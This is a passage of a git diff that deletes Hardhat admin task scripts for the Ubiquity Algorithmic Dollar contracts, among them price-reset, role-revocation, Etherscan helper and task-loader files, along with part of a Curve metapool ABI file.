twapOracle.consult(curve3CrvToken); - console.log(` - TWAP PRICE - 1 uAD => ${ethers.utils.formatEther(oraclePriceuAD)} 3CRV - 1 3CRV => ${ethers.utils.formatEther(oraclePrice3Crv)} uAD - `); - - console.log(` - Swap Price: - 1 DAI => ${ethers.utils.formatUnits(dyDAI2USDT, "mwei")} USDT - 1 uAD => ${ethers.utils.formatUnits(dyuAD2USDC, "mwei")} USDC - 1 uAD => ${ethers.utils.formatEther(dyuAD2DAI)} DAI - 1 uAD => ${ethers.utils.formatUnits(dyuAD2USDT, "mwei")} USDT - `); - let pool0UADbal = await metaPool.balances(0); - let pool1CRVbal = await metaPool.balances(1); - - console.log(` - pool0UADbal:${ethers.utils.formatEther(pool0UADbal)} - pool1CRVbal:${ethers.utils.formatEther(pool1CRVbal)} - `); - await pressAnyKey("Press any key if you are sure you want to continue ..."); - - let tx; - if (coinIndex === 1) { - tx = await bonding.connect(admin).crvPriceReset(amount); - } else { - tx = await bonding.connect(admin).uADPriceReset(amount); - } - - console.log(`price reset waiting for confirmation`); - let receipt = tx.wait(1); - console.log( - `tx ${(await receipt).status === 0 ? "FAIL" : "SUCCESS"} - hash:${tx.hash} - ` - ); - - await afterBalances({ - uAD, - treasuryAddr, - curveToken, - metaPool, - bondingAddr, - ethers, - LPBal, - crvTreasuryBalanceBefore, - uadTreasuryBalanceBefore, - }); - console.log(`test`); - dyDAI2USDT = await metaPool["get_dy_underlying(int128,int128,uint256)"](indices[0], indices[1], ethers.utils.parseEther("1")); - dyuAD2USDC = await metaPool["get_dy_underlying(int128,int128,uint256)"](indices2[0], indices2[1], ethers.utils.parseEther("1")); - dyuAD2DAI = await metaPool["get_dy_underlying(int128,int128,uint256)"](indices2[0], indices[0], ethers.utils.parseEther("1")); - dyuAD2USDT = await metaPool["get_dy_underlying(int128,int128,uint256)"](indices2[0], indices[1], ethers.utils.parseEther("1")); - oraclePriceuAD = await twapOracle.consult(uAD.address); - oraclePrice3Crv = await twapOracle.consult(curve3CrvToken); - - console.log(` - TWAP PRICE that doesn't reflect the remove liquidity yet - 1 uAD => ${ethers.utils.formatEther(oraclePriceuAD)} 3CRV - 1 3CRV => ${ethers.utils.formatEther(oraclePrice3Crv)} uAD - `); - console.log(` - Swap Price: - 1 DAI => ${ethers.utils.formatUnits(dyDAI2USDT, "mwei")} USDT - 1 uAD => ${ethers.utils.formatUnits(dyuAD2USDC, "mwei")} USDC - 1 uAD => ${ethers.utils.formatEther(dyuAD2DAI)} DAI - 1 uAD => ${ethers.utils.formatUnits(dyuAD2USDT, "mwei")} USDT - `); - tx = await metaPool.connect(admin)["remove_liquidity_one_coin(uint256,int128,uint256)"](1, coinIndex, 0); - console.log(`We execute another action (swap,deposit,withdraw etc..) - on the curve pool to update the twap price`); - receipt = tx.wait(1); - oraclePriceuAD = await twapOracle.consult(uAD.address); - oraclePrice3Crv = await twapOracle.consult(curve3CrvToken); - - console.log(` - TWAP PRICE Updated - 1 uAD => ${ethers.utils.formatEther(oraclePriceuAD)} 3CRV - 1 3CRV => ${ethers.utils.formatEther(oraclePrice3Crv)} uAD - `); - pool0UADbal = await metaPool.balances(0); - pool1CRVbal = await metaPool.balances(1); - - console.log(` - pool0UADbal:${ethers.utils.formatEther(pool0UADbal)} - pool1CRVbal:${ethers.utils.formatEther(pool1CRVbal)} - `); - }; diff --git a/packages/contracts/dollar/tasks/library/price-reset-i/read3crvInfo.ts b/packages/contracts/dollar/tasks/library/price-reset-i/read3crvInfo.ts deleted file mode 100644 index 552959040..000000000 --- a/packages/contracts/dollar/tasks/library/price-reset-i/read3crvInfo.ts +++ /dev/null @@ -1,27 +0,0 @@ -import { ICurveFactory } from "../../../artifacts/types/ICurveFactory"; -import { IMetaPool } from "../../../artifacts/types/IMetaPool"; -import { UbiquityAlgorithmicDollar } from "../../../artifacts/types/UbiquityAlgorithmicDollar"; - -interface Params { - curvePoolFactory: ICurveFactory; - metaPool: IMetaPool; - DAI: string; - USDT: string; - uAD: UbiquityAlgorithmicDollar; - USDC: string; - ethers: any; -} - -export async function read3crvInfo({ curvePoolFactory, metaPool, DAI, USDT, uAD, USDC, ethers }: Params) { - const indices = await curvePoolFactory.get_coin_indices(metaPool.address, DAI, USDT); - - const indices2 = await curvePoolFactory.get_coin_indices(metaPool.address, uAD.address, USDC); - const dyDAI2USDT = await metaPool["get_dy_underlying(int128,int128,uint256)"](indices[0], indices[1], ethers.utils.parseEther("1")); - - const dyuAD2USDC = await metaPool["get_dy_underlying(int128,int128,uint256)"](indices2[0], indices2[1], ethers.utils.parseEther("1")); - - const dyuAD2DAI = await metaPool["get_dy_underlying(int128,int128,uint256)"](indices2[0], indices[0], ethers.utils.parseEther("1")); - - const dyuAD2USDT = await metaPool["get_dy_underlying(int128,int128,uint256)"](indices2[0], indices[1], ethers.utils.parseEther("1")); - return { dyDAI2USDT, dyuAD2USDC, dyuAD2DAI, dyuAD2USDT, indices, indices2 }; -} diff --git a/packages/contracts/dollar/tasks/library/price-reset-i/setDefaultParams.ts b/packages/contracts/dollar/tasks/library/price-reset-i/setDefaultParams.ts deleted file mode 100644 index ec31e9668..000000000 --- a/packages/contracts/dollar/tasks/library/price-reset-i/setDefaultParams.ts +++ /dev/null @@ -1,12 +0,0 @@ -import { TaskArgs } from "../price-reset-i"; -export function setDefaultParams(taskArgs: TaskArgs) { - if (!taskArgs["pushHigher"]) { - taskArgs["pushHigher"] = true; - } - if (!taskArgs["dryRun"]) { - taskArgs["dryRun"] = true; - } - if (!taskArgs["blockHeight"]) { - taskArgs["blockHeight"] = 13135453; - } -} diff --git a/packages/contracts/dollar/tasks/library/price-reset-ii.ts b/packages/contracts/dollar/tasks/library/price-reset-ii.ts deleted file mode 100644 index 7b1e34dbc..000000000 --- a/packages/contracts/dollar/tasks/library/price-reset-ii.ts +++ /dev/null @@ -1,147 +0,0 @@ -import "@nomiclabs/hardhat-waffle"; -import { BigNumber, Signer } from "ethers"; -import { types } from "hardhat/config"; -import { ActionType, HardhatRuntimeEnvironment } from "hardhat/types"; -import { BondingV2 } from "../../artifacts/types/BondingV2"; -import { IMetaPool } from "../../artifacts/types/IMetaPool"; -import { UbiquityAlgorithmicDollarManager } from "../../artifacts/types/UbiquityAlgorithmicDollarManager"; -import { DEPLOYMENT_OVERRIDES, FORKING_CHAIN_NAME } from "../constants/index"; -import { A_PRECISION, get_burn_lp_amount } from "../utils/curve"; -import pressAnyKey from "../utils/flow"; - -export const description = "PriceReset can push uAD price lower or higher by burning LP token for uAD or 3CRV from the bonding contract"; - -export const params = { price: "The target price of uAD" }; -export const optionalParams = { - dryrun: ["if false will use account 0 to execute price reset", true, types.boolean], -}; - -export const action = - (): ActionType => - async (taskArgs: { price: number; dryrun: boolean; twapUpdate: boolean }, { ethers, network, getNamedAccounts, deployments }: HardhatRuntimeEnvironment) => { - console.log("started...."); - - // All the deployments in hardhat-deploy are stored in deployments directory. - // There might be some cases we have to override them or use already deployed ones. - // In this case, they will be different per chainId. so that would be awesome to have them per chain. - - const OVERRIDES_PARAMS = DEPLOYMENT_OVERRIDES[network.name]; - const { price, dryrun } = taskArgs; - - let admin: Signer; - let adminAdr: string; - if (dryrun) { - // await resetFork(taskArgs.blockheight); - adminAdr = OVERRIDES_PARAMS.deployer; - const impersonate = async (account: string): Promise => { - const provider = new ethers.providers.JsonRpcProvider("http://localhost:8545"); - await provider.send("hardhat_impersonateAccount", [account]); - return provider.getSigner(account); - }; - admin = await impersonate(adminAdr); - } else { - [admin] = await ethers.getSigners(); - adminAdr = await admin.getAddress(); - } - - if (network.name === FORKING_CHAIN_NAME) { - // impersonate deployer account - await network.provider.request({ - method: "hardhat_impersonateAccount", - params: [OVERRIDES_PARAMS.deployer], - }); - - admin = ethers.provider.getSigner(OVERRIDES_PARAMS.deployer); - adminAdr = await admin.getAddress(); - } - console.log({ admin: adminAdr, name: network.name }); - let managerAddress; - try { - const managerDeployments = await deployments.get("UbiquityAlgorithmicDollarManager"); - managerAddress = managerDeployments?.address || OVERRIDES_PARAMS.UbiquityAlgorithmicDollarManagerAddress; - } catch (error: unknown) { - managerAddress = OVERRIDES_PARAMS.UbiquityAlgorithmicDollarManagerAddress; - } - if (!managerAddress) { - throw new Error(`UbiquityAlgorithmicDollarManager address empty!`); - } - - const manager = (await ethers.getContractAt("UbiquityAlgorithmicDollarManager", managerAddress)) as UbiquityAlgorithmicDollarManager; - - const curve3CrvToken = OVERRIDES_PARAMS.curve3CrvToken; - if (!curve3CrvToken) { - throw new Error(`Not configured 3CRV token address`); - } - - const bondingAddr = await manager.bondingContractAddress(); - const bonding = (await ethers.getContractAt("BondingV2", bondingAddr)) as BondingV2; - const metaPoolAddr = await manager.stableSwapMetaPoolAddress(); - - const metaPool = (await ethers.getContractAt("IMetaPool", metaPoolAddr)) as IMetaPool; - - const metaPoolA = await metaPool.A(); - const fee = await metaPool.fee(); - const balances = await metaPool.get_balances(); - const totalSupply = await metaPool.totalSupply(); - - const uADBalanceOfMetaPool = balances[0]; - const curve3CRVBalanceOfMetaPool = balances[1]; - const impactedPrice = Math.floor(price * 10); - const expectedUADAmount = curve3CRVBalanceOfMetaPool.div(impactedPrice).mul(10); - console.log({ - bondingAddr, - metaPoolAddr, - uADBalance: uADBalanceOfMetaPool.toString(), - curve3CRVBalance: curve3CRVBalanceOfMetaPool.toString(), - expectedUADAmount: expectedUADAmount.toString(), - impactedPrice, - }); - if (expectedUADAmount.gt(uADBalanceOfMetaPool)) { - throw new Error( - `We don't currently support to make the price lower. price: ${price}, uADAmount: ${ethers.utils.formatEther( - uADBalanceOfMetaPool - )}, expectedUAD: ${ethers.utils.formatEther(expectedUADAmount)}` - ); - } - - console.log(`Calculating burn amount to reset price...`); - - const amp = metaPoolA.mul(A_PRECISION); - const base_pool = OVERRIDES_PARAMS.curve3CrvBasePool; - const curveBasePool = (await ethers.getContractAt("IMetaPool", base_pool)) as IMetaPool; - const virtual_price = await curveBasePool.get_virtual_price(); - const amounts: BigNumber[] = [uADBalanceOfMetaPool.sub(expectedUADAmount), BigNumber.from("0")]; - - console.log({ - amp: amp.toString(), - virtual_price: virtual_price.toString(), - fee: fee.toString(), - balances: balances.map((balance) => balance.toString()), - totalSupply: totalSupply.toString(), - amounts: amounts.map((amount) => amount.toString()), - }); - - const burn_lp_amount = get_burn_lp_amount({ amp, virtual_price, fee, balances, totalSupply, amounts }); - - const available_lp_amount = await metaPool.balanceOf(bondingAddr); - console.log({ - burn_lp_amount: burn_lp_amount.toString(), - available_lp_amount: available_lp_amount.toString(), - }); - - if (available_lp_amount.lt(burn_lp_amount)) { - throw new Error(`Not enough lp amount for burn in bonding contract, needed: ${burn_lp_amount.toString()}, available: ${available_lp_amount.toString()}`); - } - - await pressAnyKey("Press any key if you are sure you want to continue ..."); - - const tx = await bonding.connect(admin).uADPriceReset(burn_lp_amount); - console.log(`tx mined! hash: ${tx.hash}`); - await tx.wait(1); - console.log(`price reset tx confirmed!`); - - const new_balances = await metaPool.get_balances(); - console.log({ - new_balances: new_balances.map((balance) => balance.toString()), - }); - }; diff --git a/packages/contracts/dollar/tasks/library/revoke.ts b/packages/contracts/dollar/tasks/library/revoke.ts deleted file mode 100644 index b260959d5..000000000 --- a/packages/contracts/dollar/tasks/library/revoke.ts +++ /dev/null @@ -1,48 +0,0 @@ -import "@nomiclabs/hardhat-waffle"; -import { ActionType, HardhatRuntimeEnvironment } from "hardhat/types"; -import { UbiquityAlgorithmicDollarManager } from "../../artifacts/types/UbiquityAlgorithmicDollarManager"; -// This file is only here to make interacting with the Dapp easier, -// feel free to ignore it if you don't need it. - -export const description = "revoke Minter Burner role of an address"; -export const params = { - receiver: "The address that will be revoked", - manager: "The address of uAD Manager", -}; - -export const action = - (): ActionType => - async (taskArgs: { receiver: string; manager: string }, { ethers }: HardhatRuntimeEnvironment) => { - const net = await ethers.provider.getNetwork(); - - if (net.name === "hardhat") { - console.warn( - "You are running the faucet task with Hardhat network, which" + - "gets automatically created and destroyed every time. Use the Hardhat" + - " option '--network localhost'" - ); - } - console.log(`net chainId: ${net.chainId} `); - - const UBQ_MINTER_ROLE = ethers.utils.keccak256(ethers.utils.toUtf8Bytes("UBQ_MINTER_ROLE")); - const UBQ_BURNER_ROLE = ethers.utils.keccak256(ethers.utils.toUtf8Bytes("UBQ_BURNER_ROLE")); - - const manager = (await ethers.getContractAt("UbiquityAlgorithmicDollarManager", taskArgs.manager)) as UbiquityAlgorithmicDollarManager; - - const isMinter = await manager.hasRole(UBQ_MINTER_ROLE, taskArgs.receiver); - console.log(`${taskArgs.receiver} is minter ?:${isMinter ? "true" : "false"}`); - - const isBurner = await manager.hasRole(UBQ_BURNER_ROLE, taskArgs.receiver); - console.log(`${taskArgs.receiver} is burner ?:${isBurner ? "true" : "false"}`); - - if (isMinter) { - const tx = await manager.revokeRole(UBQ_MINTER_ROLE, taskArgs.receiver); - await tx.wait(); - console.log(`Minter role revoked`); - } - if (isBurner) { - const tx = await manager.revokeRole(UBQ_BURNER_ROLE, taskArgs.receiver); - await tx.wait(); - console.log(`Burner role revoked`); - } - }; diff --git a/packages/contracts/dollar/tasks/utils/etherscan.ts b/packages/contracts/dollar/tasks/utils/etherscan.ts deleted file mode 100644 index 0e2f63164..000000000 --- a/packages/contracts/dollar/tasks/utils/etherscan.ts +++ /dev/null @@ -1,65 +0,0 @@ -const API_URL = "https://api.etherscan.io/api"; - -export type EtherscanResponse = { - status: string; - message: string; - result: T[]; -}; - -export type Transaction = { - isError: "0" | "1"; - input: string; - hash: string; - from: string; - to: string; - blockNumber: string; - contractAddress: string; - timeStamp: string; -}; - -export type TransactionEvent = { - data: string; - transactionHash: string; -}; - -export async function fetchEtherscanApi(query: Record): Promise { - const response = await fetch(`${API_URL}?${new URLSearchParams(query).toString()}`); - return response.json() as Promise; -} - -export async function fetchLatestBlockNumber(): Promise { - console.log("Fetching latest block number..."); - const response = await fetchEtherscanApi<{ result: string }>({ - module: "proxy", - action: "eth_blockNumber", - apiKey: process.env.API_KEY_ETHERSCAN || "", - }); - const latestBlockNumber = parseInt(response.result, 16); - console.log("Latest block number: ", latestBlockNumber); - return latestBlockNumber; -} - -export function generateEtherscanQuery(address: string, startblock: number, endblock: number | string): Record { - return { - module: "account", - action: "txlist", - address, - startblock: startblock.toString(), - endblock: endblock.toString(), - sort: "asc", - apiKey: process.env.API_KEY_ETHERSCAN || "", - }; -} - -export function generateEventLogQuery(address: string, topic0: string, startblock: number, endblock: number | string): Record { - return { - module: "logs", - action: "getLogs", - address, - topic0, - startblock: startblock.toString(), - endblock: endblock.toString(), - sort: "asc", - apiKey: process.env.API_KEY_ETHERSCAN || "", - }; -} diff --git a/packages/contracts/dollar/tasks/utils/flow.ts b/packages/contracts/dollar/tasks/utils/flow.ts deleted file mode 100644 index 470c367c1..000000000 --- a/packages/contracts/dollar/tasks/utils/flow.ts +++ /dev/null @@ -1,11 +0,0 @@ -export default function pressAnyKey(msg = "Press any key to continue"): Promise { - return new Promise((resolve) => { - console.log(msg || "Press any key to continue"); - process.stdin.setRawMode(true); - process.stdin.resume(); - process.stdin.on("data", () => { - // process.stdin.destroy(); - resolve(undefined); - }); - }); -} diff --git a/packages/contracts/dollar/tasks/utils/task-mounter.ts b/packages/contracts/dollar/tasks/utils/task-mounter.ts deleted file mode 100644 index 62089d6df..000000000 --- a/packages/contracts/dollar/tasks/utils/task-mounter.ts +++ /dev/null @@ -1,85 +0,0 @@ -import { task } from "hardhat/config"; -import { ActionType, CLIArgumentType } from "hardhat/types"; -import path from "path"; -import { libraryDirectory } from "../index"; -import { colorizeText } from "./console-colors"; - -interface Params { - [key: string]: string; -} -type ParamWithDefault = [string | undefined, unknown, CLIArgumentType | undefined]; -interface OptionalParams { - [key: string]: ParamWithDefault[]; -} -interface PositionalParams { - [key: string]: ParamWithDefault[]; -} -interface TaskModule { - action: () => ActionType; - description?: string; - params?: Params; - optionalParams?: OptionalParams; - positionalParams?: PositionalParams; -} - -export function taskMounter(filename: string) { - const pathToFile = path.join(libraryDirectory, filename); - const taskName = filename.split("/").pop()?.split(".").shift() as string; // dynamically name task based on filename - - import(pathToFile).then(extendHardhatCli); - - function extendHardhatCli({ action, description, params, optionalParams, positionalParams }: TaskModule): void { - description ? (description = colorizeText(description, "bright")) : false; // highlight custom task descriptions - const extension = task(taskName, description); - - if (!action) { - // import the task - // required - console.error(`\t${taskName} has no action export`); - action = () => { - throw new Error("No function found"); - }; - } - - if (!description) { - // import the description - // optional - console.warn(`\t${colorizeText(taskName, "bright")} has no description`); - description = "No description found"; - } - - if (params) { - // import the required params - // optional; if there are none this can still run - Object.entries(params).forEach(([key, value]) => extension.addParam(key, value)); - } else { - // console.warn(`\t${colorizeText(taskName, "bright")} has no params`); - } - - if (optionalParams) { - // import the optional params - // optional - Object.entries(optionalParams).forEach((optionalParam) => { - const flattened = optionalParam.flat(); - // @ts-expect-error - this seems to work fine, not sure the correct way to write it - extension.addOptionalParam(...flattened); - }); - } else { - // console.warn(`\t${colorizeText(taskName, "bright")} has no optionalParams`); - } - - if (positionalParams) { - // import the positional params - // optional - Object.entries(positionalParams).forEach((positionalParam) => { - const flattened = positionalParam.flat(); - // @ts-expect-error - this seems to work fine, not sure the correct way to write it - extension.addPositionalParam(...flattened); - }); - } else { - // console.warn(`\t${colorizeText(taskName, "bright")} has no positionalParams`); - } - - extension.setAction(action()); - } -} diff --git a/packages/contracts/dollar/test/3PoolMetaPoolImplABI.json b/packages/contracts/dollar/test/3PoolMetaPoolImplABI.json deleted file mode 100644 index 22146180a..000000000 --- a/packages/contracts/dollar/test/3PoolMetaPoolImplABI.json +++ /dev/null @@ -1,580 +0,0 @@ -[ - { - "name": "Transfer", - "inputs": [ - { "type": "address", "name": "sender", "indexed": true }, - { "type": "address", "name": "receiver", "indexed": true }, - { "type": "uint256", "name": "value", "indexed": false } - ], - "anonymous": false, - "type": "event" - }, - { - "name": "Approval", - "inputs": [ - { "type": "address", "name": "owner", "indexed": true }, - { "type": "address", "name": "spender", "indexed": true }, - { "type": "uint256", "name": "value", "indexed": false } - ], - "anonymous": false, - "type": "event" - }, - { - "name": "TokenExchange", - "inputs": [ - { "type": "address", "name": "buyer", "indexed": true }, - { "type": "int128", "name": "sold_id", "indexed": false }, - { "type": "uint256", "name": "tokens_sold", "indexed": false }, - { "type": "int128", "name": "bought_id", "indexed": false }, - { "type": "uint256", "name": "tokens_bought", "indexed": false } - ], - "anonymous": false, - "type": "event" - }, - { - "name": "TokenExchangeUnderlying", - "inputs": [ - { "type": "address", "name": "buyer", "indexed": true }, - { "type": "int128", "name": "sold_id", "indexed": false }, - { "type": "uint256", "name": "tokens_sold", "indexed": false }, - { "type": "int128", "name": "bought_id", "indexed": false }, - { "type": "uint256", "name": "tokens_bought", "indexed": false } - ], - "anonymous": false, - "type": "event" - }, - { - "name": "AddLiquidity", - "inputs": [ - { "type": "address", "name": "provider", "indexed": true }, - { "type": "uint256[2]", "name": "token_amounts", "indexed": false }, - { "type": "uint256[2]", "name": "fees", "indexed": false }, - { "type": "uint256", "name": "invariant", "indexed": false }, - { "type": "uint256", "name": "token_supply", "indexed": false } - ], - "anonymous": false, - "type": "event" - }, - { - "name": "RemoveLiquidity", - "inputs": [ - { "type": "address", "name": "provider", "indexed": true }, - { "type": "uint256[2]", "name": "token_amounts", "indexed": false }, - { "type": "uint256[2]", "name": "fees", "indexed": false }, - { "type": "uint256", "name": "token_supply", "indexed": false } - ], - "anonymous": false, - "type": "event" - }, - { - "name": "RemoveLiquidityOne", - "inputs": [ - { "type": "address", "name": "provider", "indexed": true }, - { "type": "uint256", "name": "token_amount", "indexed": false }, - { "type": "uint256", "name": "coin_amount", "indexed": false }, - { "type": "uint256", "name": "token_supply", "indexed": false } - ], - "anonymous": false, - "type": "event" - }, - { - "name": "RemoveLiquidityImbalance", - "inputs": [ - { "type": "address", "name": "provider", "indexed": true }, - { "type": "uint256[2]", "name": "token_amounts", "indexed": false }, - { "type": "uint256[2]", "name": "fees", "indexed": false }, - { "type": "uint256", "name": "invariant", "indexed": false }, - { "type": "uint256", "name": "token_supply", "indexed": false } - ], - "anonymous": false, - "type": "event" - }, - { - "name": "CommitNewAdmin", - "inputs": [ - { "type": "uint256", "name": "deadline", "indexed": true }, - { "type": "address", "name": "admin", "indexed": true } - ], - "anonymous": false, - "type": "event" - }, - { - "name": "NewAdmin", - "inputs": [{ "type": "address", "name": "admin", "indexed": true }], - "anonymous": false, - "type": "event" - }, - { - "name": "CommitNewFee", - "inputs": [ - { "type": "uint256", "name": "deadline", "indexed": true }, - { "type": "uint256", "name": "fee", "indexed": false }, - { "type": "uint256", "name": "admin_fee", "indexed": false } - ], - "anonymous": false, - "type": "event" - }, - { - "name": "NewFee", - "inputs": [ - { "type": "uint256", "name": "fee", "indexed": false }, - { "type": "uint256", "name": "admin_fee", "indexed": false } - ], - "anonymous": false, - "type": "event" - }, - { - "name": "RampA", - "inputs": [ - { "type": "uint256", "name": "old_A", "indexed": false }, - { "type": "uint256", "name": "new_A", "indexed": false }, - { "type": "uint256", "name": "initial_time", "indexed": false }, - { "type": "uint256", "name": "future_time", "indexed": false } - ], - "anonymous": false, - "type": "event" - }, - { - "name": "StopRampA", - "inputs": [ - { "type": "uint256", "name": "A", "indexed": false }, - { "type": "uint256", "name": "t", "indexed": false } - ], - "anonymous": false, - "type": "event" - }, - { - "outputs": [], - "inputs": [], - "stateMutability": "nonpayable", - "type": "constructor" - }, - { - "name": "initialize", - "outputs": [], - "inputs": [ - { "type": "string", "name": "_name" }, - { "type": "string", "name": "_symbol" }, - { "type": "address", "name": "_coin" }, - { "type": "uint256", "name": "_decimals" }, - { "type": "uint256", "name": "_A" }, - { "type": "uint256", "name": "_fee" }, - { "type": "address", "name": "_admin" } - ], - "stateMutability": "nonpayable", - "type": "function", - "gas": 435044 - }, - { - "name": "decimals", - "outputs": [{ "type": "uint256", "name": "" }], - "inputs": [], - "stateMutability": "view", - "type": "function", - "gas": 291 - }, - { - "name": "transfer", - "outputs": [{ "type": "bool", "name": "" }], - "inputs": [ - { "type": "address", "name": "_to" }, - { "type": "uint256", "name": "_value" } - ], - "stateMutability": "nonpayable", - "type": "function", - "gas": 74743 - }, - { - "name": "transferFrom", - "outputs": [{ "type": "bool", "name": "" }], - "inputs": [ - { "type": "address", "name": "_from" }, - { "type": "address", "name": "_to" }, - { "type": "uint256", "name": "_value" } - ], - "stateMutability": "nonpayable", - "type": "function", - "gas": 111385 - }, - { - "name": "approve", - "outputs": [{ "type": "bool", "name": "" }], - "inputs": [ - { "type": "address", "name": "_spender" }, - { "type": "uint256", "name": "_value" } - ], - "stateMutability": "nonpayable", - "type": "function", - "gas": 37824 - }, - { - "name": "admin_fee", - "outputs": [{ "type": "uint256", "name": "" }], - "inputs": [], - "stateMutability": "view", - "type": "function", - "gas": 441 - }, - { - "name": "A", - "outputs": [{ "type": "uint256", "name": "" }], - "inputs": [], - "stateMutability": "view", - "type": "function", - "gas": 5529 - }, - { - "name": "A_precise", - "outputs": [{ "type": "uint256", "name": "" }], - "inputs": [], - "stateMutability": "view", - "type": "function", - "gas": 5491 - }, - { - "name": "get_virtual_price", - "outputs": [{ "type": "uint256", "name": "" }], - "inputs": [], - "stateMutability": "view", - "type": "function", - "gas": 1016457 - }, - { - "name": "calc_token_amount", - "outputs": [{ "type": "uint256", "name": "" }], - "inputs": [ - { "type": "uint256[2]", "name": "_amounts" }, - { "type": "bool", "name": "_is_deposit" } - ], - "stateMutability": "view", - "type": "function", - "gas": 4021232 - }, - { - "name": "add_liquidity", - "inputs": [ - { "type": "uint256[2]", "name": "_amounts" }, - { "type": "uint256", "name": "_min_mint_amount" } - ], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "name": "add_liquidity", - "inputs": [ - { "type": "uint256[2]", "name": "_amounts" }, - { "type": "uint256", "name": "_min_mint_amount" }, - { "type": "address", "name": "_receiver" } - ], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "name": "get_dy", - "outputs": [{ "type": "uint256", "name": "" }], - "inputs": [ - { "type": "int128", "name": "i" }, - { "type": "int128", "name": "j" }, - { "type": "uint256", "name": "dx" } - ], - "stateMutability": "view", - "type": "function", - "gas": 2454975 - }, - { - "name": "get_dy_underlying", - "outputs": [{ "type": "uint256", "name": "" }], - "inputs": [ - { "type": "int128", "name": "i" }, - { "type": "int128", "name": "j" }, - { "type": "uint256", "name": "dx" } - ], - "stateMutability": "view", - "type": "function", - "gas": 2457373 - }, - { - "name": "exchange", - "outputs": [{ "type": "uint256", "name": "" }], - "inputs": [ - { "type": "int128", "name": "i" }, - { "type": "int128", "name": "j" }, - { "type": "uint256", "name": "dx" }, - { "type": "uint256", "name": "min_dy" } - ], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "name": "exchange", - "outputs": [{ "type": "uint256", "name": "" }], - "inputs": [ - { "type": "int128", "name": "i" }, - { "type": "int128", "name": "j" }, - { "type": "uint256", "name": "dx" }, - { "type": "uint256", "name": "min_dy" }, - { "type": "address", "name": "_receiver" } - ], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "name": "exchange_underlying", - "outputs": [{ "type": "uint256", "name": "" }], - "inputs": [ - { "type": "int128", "name": "i" }, - { "type": "int128", "name": "j" }, - { "type": "uint256", "name": "dx" }, - { "type": "uint256", "name": "min_dy" } - ], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "name": "exchange_underlying", - "outputs": [{ "type": "uint256", "name": "" }], - "inputs": [ - { "type": "int128", "name": "i" }, - { "type": "int128", "name": "j" }, - { "type": "uint256", "name": "dx" }, - { "type": "uint256", "name": "min_dy" }, - { "type": "address", "name": "_receiver" } - ], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "name": "remove_liquidity", - "outputs": [{ "type": "uint256[2]", "name": "" }], - "inputs": [ - { "type": "uint256", "name": "_burn_amount" }, - { "type": "uint256[2]", "name": "_min_amounts" } - ], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "name": "remove_liquidity", - "outputs": [{ "type": "uint256[2]", "name": "" }], - "inputs": [ - { "type": "uint256", "name": "_burn_amount" }, - { "type": "uint256[2]", "name": "_min_amounts" }, - { "type": "address", "name": "_receiver" } - ], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "name": "remove_liquidity_imbalance", - "outputs": [{ "type": "uint256", "name": "" }], - "inputs": [ - { "type": "uint256[2]", "name": "_amounts" }, - { "type": "uint256", "name": "_max_burn_amount" } - ], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "name": "remove_liquidity_imbalance", - "outputs": [{ "type": "uint256", "name": "" }], - "inputs": [ - { "type": "uint256[2]", "name": "_amounts" }, - { "type": "uint256", "name": "_max_burn_amount" }, - { "type": "address", "name": "_receiver" } - ], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "name": "calc_withdraw_one_coin", - "outputs": [{ "type": "uint256", "name": "" }], - "inputs": [ - { "type": "uint256", "name": "_burn_amount" }, - { "type": "int128", "name": "i" } - ], - "stateMutability": "view", - "type": "function", - "gas": 5258 - }, - { - "name": "remove_liquidity_one_coin", - "outputs": [{ "type": "uint256", "name": "" }], - "inputs": [ - { "type": "uint256", "name": "_burn_amount" }, - { "type": "int128", "name": "i" }, - { "type": "uint256", "name": "_min_received" } - ], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "name": "remove_liquidity_one_coin", - "outputs": [{ "type": "uint256", "name": "" }], - "inputs": [ - { "type": "uint256", "name": "_burn_amount" }, - { "type": "int128", "name": "i" }, - { "type": "uint256", "name": "_min_received" }, - { "type": "address", "name": "_receiver" } - ], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "name": "ramp_A", - "outputs": [], - "inputs": [ - { "type": "uint256", "name": "_future_A" }, - { "type": "uint256", "name": "_future_time" } - ], - "stateMutability": "nonpayable", - "type": "function", - "gas": 152224 - }, - { - "name": "stop_ramp_A", - "outputs": [], - "inputs": [], - "stateMutability": "nonpayable", - "type": "function", - "gas": 148985 - }, - { - "name": "admin_balances", - "outputs": [{ "type": "uint256", "name": "" }], - "inputs": [{ "type": "uint256", "name": "i" }], - "stateMutability": "view", - "type": "function", - "gas": 3511 - }, - { - "name": "withdraw_admin_fees", - "outputs": [], - "inputs": [], - "stateMutability": "nonpayable", - "type": "function", - "gas": 2597385 - }, - { - "name": "admin", - "outputs": [{ "type": "address", "name": "" }], - "inputs": [], - "stateMutability": "view", - "type": "function", - "gas": 2051 - }, - { - "name": "coins", - "outputs": [{ "type": "address", "name": "" }], - "inputs": [{ "type": "uint256", "name": "arg0" }], - "stateMutability": "view", - "type": "function", - "gas": 2190 - }, - { - "name": "balances", - "outputs": [{ "type": "uint256", "name": "" }], - "inputs": [{ "type": "uint256", "name": "arg0" }], - "stateMutability": "view", - "type": "function", - "gas": 2220 - }, - { - "name": "fee", - "outputs": [{ "type": "uint256", "name": "" }], - "inputs": [], - "stateMutability": "view", - "type": "function", - "gas": 2141 - }, - { - "name": "base_virtual_price", - "outputs": [{ "type": "uint256", "name": "" }], - "inputs": [], - "stateMutability": "view", - "type": "function", - "gas": 2171 - }, - { - "name": "base_cache_updated", - "outputs": [{ "type": "uint256", "name": "" }], - "inputs": [], - "stateMutability": "view", - "type": "function", - "gas": 2201 - }, - { - "name": "initial_A", - "outputs": [{ "type": "uint256", "name": "" }], - "inputs": [], - "stateMutability": "view", - "type": "function", - "gas": 2231 - }, - { - "name": "future_A", - "outputs": [{ "type": "uint256", "name": "" }], - "inputs": [], - "stateMutability": "view", - "type": "function", - "gas": 2261 - }, - { - "name": "initial_A_time", - "outputs": [{ "type": "uint256", "name": "" }], - "inputs": [], - "stateMutability": "view", - "type": "function", - "gas": 2291 - }, - { - "name": 